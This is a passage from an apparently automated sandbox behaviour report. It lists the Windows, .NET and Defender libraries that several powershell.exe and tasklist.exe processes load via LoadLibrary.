%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\468fa5ae84991aaf4d90ecee8788f024\Microsoft.PowerShell.Commands (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\468fa5ae84991aaf4d90ecee8788f024\Microsoft.PowerShell.Commands (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00003696) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00003696) "tasklist.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Winsta.dll (UID: 00000000-00005868) "tasklist.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005868) "tasklist.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005868) "tasklist.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005868) "tasklist.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005868) "tasklist.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005868) "tasklist.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Winsta.dll (UID: 00000000-00002656) "tasklist.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002656) "tasklist.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002656) "tasklist.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002656) "tasklist.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00002656) "tasklist.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002656) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter 